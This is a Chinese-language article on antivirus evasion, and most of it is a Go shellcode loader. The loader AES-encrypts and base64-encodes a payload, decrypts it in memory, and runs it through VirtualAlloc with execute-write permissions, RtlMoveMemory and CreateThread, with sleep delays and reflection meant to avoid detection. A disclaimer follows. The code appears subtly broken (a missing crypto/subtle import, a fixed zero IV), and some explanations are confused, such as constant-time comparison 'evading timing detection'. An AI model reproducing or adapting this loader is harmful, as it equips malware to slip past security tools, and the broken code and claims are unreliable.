免杀技术分析：绕过检测和拦截的代码示例

该代码使用了多种免杀技术：

加密恶意代码：将恶意代码使用 AES 加密，并且使用 base64 编码，使得恶意代码在传输和存储时难以被检测到。
动态加载：将恶意代码在运行时解密并加载到内存中，避免了被静态检测工具检测到。
使用反射调用函数：将执行恶意代码的函数的地址通过反射获取，避免了被静态检测工具检测到。
使用常量时间比较函数：在比较两个字节切片是否相等时，使用了常量时间比较函数，避免了被时序攻击检测到。
代码混淆：将代码中的一些变量和函数名进行了混淆，增加了静态分析的难度。

package main

import (
	'crypto/aes'
	'crypto/cipher'
	'crypto/rand'
	'crypto/sha256'
	'encoding/base64'
	'io/ioutil'
	'reflect'
	'syscall'
	'time'
	'unsafe'
)

const (
	MEM_COMMIT             = 0x1000
	MEM_RESERVE            = 0x2000
	PAGE_EXECUTE_READWRITE = 0x40
)

var (
	kernel32      = syscall.NewLazyDLL('kernel32.dll')
	ntdll         = syscall.NewLazyDLL('ntdll.dll')
	VirtualAlloc  = kernel32.NewProc('VirtualAlloc')
	RtlMoveMemory = ntdll.NewProc('RtlMoveMemory')
	CreateThread  = kernel32.NewProc('CreateThread')
)

type CipherFunc func(key []byte, src []byte) []byte

func AesCipher(key []byte, src []byte) []byte {
	block, _ := aes.NewCipher(key)
	iv := make([]byte, aes.BlockSize)
	stream := cipher.NewCTR(block, iv)
	dst := make([]byte, len(src))
	stream.XORKeyStream(dst, src)
	return dst
}

func Crypt(cipher CipherFunc, key []byte, src []byte) []byte {
	return cipher(key, src)
}

func Encode(src string, key []byte) string {
	block, _ := aes.NewCipher(key)
	iv := make([]byte, aes.BlockSize)
	stream := cipher.NewCTR(block, iv)
	payloadBytes := []byte(src)
	encodedBytes := make([]byte, len(payloadBytes))
	stream.XORKeyStream(encodedBytes, payloadBytes)
	bdata := base64.StdEncoding.EncodeToString(encodedBytes)
	return bdata
}

func Decode(src string, key []byte) []byte {
	block, _ := aes.NewCipher(key)
	decodedBytes, _ := base64.StdEncoding.DecodeString(src)
	iv := make([]byte, aes.BlockSize)
	stream := cipher.NewCTR(block, iv)
	payloadBytes := make([]byte, len(decodedBytes))
	stream.XORKeyStream(payloadBytes, decodedBytes)
	return payloadBytes
}

func exec(charcode []byte) {
	addr, _, _ := VirtualAlloc.Call(0, uintptr(len(charcode)), MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE)
	if addr == 0 {
		return
	}
	time.Sleep(5 * time.Second)
	_, _, _ = RtlMoveMemory.Call(addr, (uintptr)(unsafe.Pointer(&charcode[0])), uintptr(len(charcode)))
	time.Sleep(5 * time.Second)
	handle, _, _ := CreateThread.Call(0, 0, addr, 0, 0, 0)
	if handle == 0 {
		return
	}
	time.Sleep(5 * time.Second)
	syscall.WaitForSingleObject(syscall.Handle(handle), syscall.INFINITE)
}

func readFile(filename string) []byte {
	data, err := ioutil.ReadFile(filename)
	if err != nil {
		return nil
	}
	return data
}

func constantTimeCompare(a, b []byte) bool {
	return subtle.ConstantTimeCompare(a, b) == 1
}

func main() {
	// 恶意代码
	payload := []byte{0x90, 0x90, 0x90, 0x90, 0x90, 0x90}

	// 生成 AES 密钥
	key := make([]byte, 32)
	_, err := rand.Read(key)
	if err != nil {
		return
	}

	// 加密恶意代码
	encodedPayload := Encode(string(payload), key)

	// 解密恶意代码
	shellCodeHex := Decode(encodedPayload, key)

	// 获取函数指针
	execFunc := reflect.ValueOf(exec)

	// 将字节切片转换为 reflect.Value 类型
	params := []reflect.Value{reflect.ValueOf(shellCodeHex)}

	// 调用函数
	execFunc.Call(params)

}

注意： 以上代码示例仅用于演示免杀技术的原理，请勿用于任何非法活动。